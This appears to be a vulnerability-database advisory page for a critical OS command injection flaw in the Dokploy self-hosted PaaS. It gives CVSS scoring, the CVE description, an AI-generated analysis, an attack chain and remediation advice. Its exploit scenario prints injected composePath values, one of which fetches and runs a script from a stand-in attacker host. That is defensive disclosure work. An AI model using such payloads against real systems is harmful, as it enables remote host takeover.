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Dokploy CVE-2026-72865

| EUVDEUVD-2026-55723 CRITICAL
OS Command Injection (CWE-78)
2026-08-10 GitHub_M
9.9
CVSS 3.1 · Vendor: GitHub_M
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Severity by source

Vendor (GitHub_M) PRIMARY
9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI
9.9 CRITICAL

Network API reachable (AV:N), no special conditions (AC:L), requires an authenticated member with compose/deploy rights (PR:L), no interaction (UI:N); command execution breaks out of the app into the Docker-privileged host (S:C) with full C/I/A loss.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Patch available
Aug 10, 2026 - 20:04 EUVD
Source Code Evidence Fetched
Aug 10, 2026 - 19:27 vuln.today
Analysis Generated
Aug 10, 2026 - 19:27 vuln.today
CVE Published
Aug 10, 2026 - 18:33 cve.org
CRITICAL 9.9

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, the compose.update operation stores an unvalidated composePath that packages/server/src/utils/builders/compose.ts and packages/server/src/services/compose.ts interpolate into docker compose -f, docker stack deploy -c, and touch shell commands executed through /bin/sh -c. An authenticated member with compose write and deploy permission can supply a crafted composePath, trigger compose.deploy or startCompose, and execute arbitrary operating-system commands in the Docker-privileged Dokploy host context. This issue is fixed in version 0.29.13.

AnalysisAI

OS command injection in Dokploy self-hosted PaaS prior to 0.29.13 lets an authenticated project member with compose write and deploy permissions execute arbitrary commands on the Docker-privileged host. The compose.update operation persists an unvalidated composePath that is later interpolated verbatim into docker compose -f, docker stack deploy -c, and touch commands run via /bin/sh -c, so a crafted path fires shell metacharacters when the compose is deployed. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate as compose-write member
Delivery
Set malicious composePath via compose.update
Exploit
Trigger compose.deploy/startCompose
Execution
Path interpolated into /bin/sh -c
Persist
Execute arbitrary command on Docker-privileged host
Impact
Full host compromise

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated Dokploy account that holds BOTH compose write and deploy permission (CVSS PR:L confirms authentication is needed - this is not exploitable anonymously). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical) is internally consistent with the description: network-reachable API, low complexity, low-but-nonzero privileges (an authenticated member), no user interaction, and a scope change reflecting breakout from the application context into the Docker-privileged host with full confidentiality, integrity, and availability loss. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A team member (or an attacker who has phished/compromised such an account) with compose write and deploy rights edits a compose service and sets its composePath to a value like `docker-compose.yml; touch /tmp/pwned` or `$(curl http://attacker/x|sh)`. They then trigger compose.deploy or startCompose, and Dokploy interpolates the path directly into a `/bin/sh -c` docker command, executing the attacker's payload as the Docker-privileged Dokploy host process. …
Remediation Vendor-released patch: upgrade to Dokploy 0.29.13 (release https://github.com/Dokploy/dokploy/releases/tag/v0.29.13), which introduces shell-quote escaping of composePath, appName, and env-file paths plus a metacharacter denylist on custom compose commands, per advisory GHSA-8r5w-vqjr-8c44 and PR #4863. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: audit all Dokploy deployments for versions prior to 0.29.13; enumerate users holding project member status with compose write/deploy permissions; implement emergency access restrictions limiting these permissions to only absolutely critical, explicitly-approved users. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-72865 vulnerability details – vuln.today

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